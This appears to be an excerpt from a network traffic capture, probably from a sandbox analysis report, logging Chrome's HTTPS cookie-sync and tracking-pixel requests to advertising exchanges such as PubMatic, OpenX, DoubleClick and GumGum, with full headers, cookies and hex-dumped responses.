2024-04-11 21:27:03 UTC	514	OUT	GET /w/1.0/sd?id=537073061&val=7275991910677607931&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1 Host: us-u.openx.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820
2024-04-11 21:27:03 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:03 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
427	192.168.2.17	50248	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	734	OUT	GET /w/1.0/sd?id=537072991&val=CAESEGBawKPr45rbp_xkzYZlz1Y&google_cver=1 HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820
2024-04-11 21:27:03 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:03 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
428	192.168.2.17	50254	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	1176	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=d3c52a71-4626-42f8-b765-7c4caff9dd34&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; pi=157108:2; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; PugT=1712870821
2024-04-11 21:27:03 UTC	696	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1 Connection: close Set-Cookie: KRTBCOOKIE_279=22890-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23011-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23355-d3c52a71-4626-42f8-b765-7c4caff9dd34; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:01 GMT; path=/ Set-Cookie: PugT=1712870821; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:01 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-11 21:27:03 UTC	1	IN	Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
429	192.168.2.17	50252	35.212.23.78	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	701	OUT	GET /bsw_sync?bidswitch_ssp_id=themediagrid&bsw_custom_parameter=4a756380-b7e0-40d8-87fd-f9b0074cc705&gdpr=0&gdpr_consent= HTTP/1.1 Host: ads.creative-serving.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:03 UTC	806	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store, must-revalidate Content-Length: 0 Date: Thu, 11 Apr 2024 21:27:03 GMT Location: https://ads.creative-serving.com/ul_cb/bsw_sync?bidswitch_ssp_id=themediagrid&bsw_custom_parameter=4a756380-b7e0-40d8-87fd-f9b0074cc705&gdpr=0&gdpr_consent= Set-Cookie: tuuid=52f7b6d2-f774-409d-9ad9-9331a3cf6844; path=/; expires=Sun, 06-Apr-2025 21:27:03 GMT; domain=.creative-serving.com; samesite=none; secure Set-Cookie: c=1712870823; path=/; expires=Sun, 06-Apr-2025 21:27:03 GMT; domain=.creative-serving.com; samesite=none; secure Set-Cookie: tuuid_lu=1712870823; path=/; expires=Sun, 06-Apr-2025 21:27:03 GMT; domain=.creative-serving.com; samesite=none; secure Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
430	192.168.2.17	50259	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	831	OUT	GET /sync?dsp_id=283&user_id=cba816c0-1876-423f-b490-332de34b0d15&expires=1&user_group=5&ssp=gumgum2&bsw_param=4a756380-b7e0-40d8-87fd-f9b0074cc705&gdpr=&gdpr_consent=&gdpr_pd= HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=4a756380-b7e0-40d8-87fd-f9b0074cc705; c=1712870820; tuuid_lu=1712870821
2024-04-11 21:27:03 UTC	537	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //usersync.gumgum.com/usersync?b=bsw&i=4a756380-b7e0-40d8-87fd-f9b0074cc705&gdpr=&gdpr_consent=&us_privacy= Set-Cookie: custom_data=; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: bsw_origin_init=; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
431	192.168.2.17	50257	3.211.252.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	1276	OUT	GET /usersync/redirect?partner=sovrn&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=IebHALZHwpD5VNKxRXavSHiL HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:03 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
432	192.168.2.17	50262	142.250.80.66	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	603	OUT	GET /pixel?google_nid=openx&google_hm=MmMzYjU1MmEtODM2Ny02MjA2LTU1NTUtZTlkYzIzZjNlZGE5 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUnKTao8RJNkre_DilFL_eNpJEN6oSgYP12FeM51cAOqXnzsiO_HwKK3PwdFhxI
2024-04-11 21:27:03 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Thu, 11 Apr 2024 21:27:03 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:03 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
433	192.168.2.17	50267	3.214.33.241	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	448	OUT	GET /usersync?b=opx&i=6278d413-3e00-4a00-9da5-aefd13eef9ae HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
2024-04-11 21:27:03 UTC	210	IN	HTTP/1.1 200 Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-11 21:27:03 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
434	192.168.2.17	50258	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	973	OUT	GET /pixel?google_nid=beeswaxio&google_sc=&google_hm=QUFKWUwwN01NS3NBQUJQdVJOY0xTdw&gdpr=0&gdpr_consent=&bee_sync_partners=pp%2Csyn%2Csas%2Cpm&bee_sync_current_partner=adx&bee_sync_initiator=pm&bee_sync_hop_count=1 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUnKTao8RJNkre_DilFL_eNpJEN6oSgYP12FeM51cAOqXnzsiO_HwKK3PwdFhxI
2024-04-11 21:27:03 UTC	743	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://match.prod.bidr.io/cookie-sync/adx?gdpr=0&gdpr_consent=&bee_sync_partners=pp%2Csyn%2Csas%2Cpm&bee_sync_current_partner=adx&bee_sync_initiator=pm&bee_sync_hop_count=1 Date: Thu, 11 Apr 2024 21:27:03 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 390 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:03 UTC	390	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 70 72 6f 64 2e 62 69 64 72 2e 69 6f 2f 63 6f 6f 6b 69 65 2d 73 79 6e 63 2f 61 64 78 3f 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 62 65 65 5f 73 79 6e 63 5f 70 61 72 74 6e 65 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://match.prod.bidr.io/cookie-sync/adx?gdpr=0&gdpr_consent=&bee_sync_partne

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
435	192.168.2.17	50253	3.231.195.77	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	476	OUT	GET /usersync?b=pln&i=8CYd5xB94ljT&ev=1&gpp_sid=$&gpp=$&us_privacy=${us_privacy}&pid=558355 HTTP/1.1 Host: rtb.gumgum.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
2024-04-11 21:27:03 UTC	263	IN	HTTP/1.1 200 Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: image/gif;charset=UTF-8 Content-Length: 35 Connection: close Server: nginx Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache Timing-Allow-Origin: *
2024-04-11 21:27:03 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
436	192.168.2.17	50266	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	1100	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTgwNiZ0bD01MTg0MDA=&piggybackCookie=uid:FF4FA33AD55F4AFDAF353CD71FB72BED HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; PugT=1712870821; KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED
2024-04-11 21:27:03 UTC	745	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:03 GMT; path=/ Set-Cookie: PugT=1712870823; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:03 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-11 21:27:03 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
437	192.168.2.17	50265	8.28.7.81	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	1114	OUT	GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=8067674&p=157108&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1--- HTTP/1.1 Host: image6.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; PugT=1712870821
2024-04-11 21:27:03 UTC	977	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; domain=pubmatic.com; path=/; max-age=31536000; SameSite=None; secure; Set-Cookie: chkChromeAb67Sec=2; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: pi=157108:4; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Set-Cookie: DPSync3=1713398400%3A265%7C1714003200%3A262_261_260_259_201_263%7C1712880000%3A248; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: SyncRTB3=1713398400%3A15_2_223%7C1714003200%3A48_250_231_21_166_22_178_104_220_54_165_5_8_233_240_71_3_13_55_46%7C1713657600%3A63; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Date: Thu, 11 Apr 2024 21:27:02 GMT Transfer-Encoding: chunked Connection: close
2024-04-11 21:27:03 UTC	2375	IN	Data Raw: 39 33 62 0d 0a 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 74 68 72 74 6c 65 2e 63 6f 6d 2f 69 6e 73 79 6e 63 3f 76 78 69 69 5f 70 69 64 3d 31 30 30 36 37 26 76 78 69 69 5f 70 64 69 64 3d 32 35 46 39 35 34 39 45 2d 31 33 36 41 2d 34 37 45 39 2d 39 31 37 31 2d 44 41 34 34 43 30 45 30 44 35 45 33 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 27 29 3b 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 73 64 3f 69 64 3d 35 34 30 32 34 35 31 39 33 26 76 61 6c 3d 32 35 46 39 35 34 39 45 2d 31 33 36 41 2d 34 37 45 39 2d 39 31 37 31 2d 44 41 34 34 43 30 Data Ascii: 93bPubMatic.loadAsyncImagePixel('https://thrtle.com/insync?vxii_pid=10067&vxii_pdid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://us-u.openx.net/w/1.0/sd?id=540245193&val=25F9549E-136A-47E9-9171-DA44C0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
438	192.168.2.17	50272	18.214.197.65	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	1055	OUT	GET /usersync/redirect?partner=gumgum&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=u_a4cb566c-d29c-481c-82f5-d657255d141b HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; 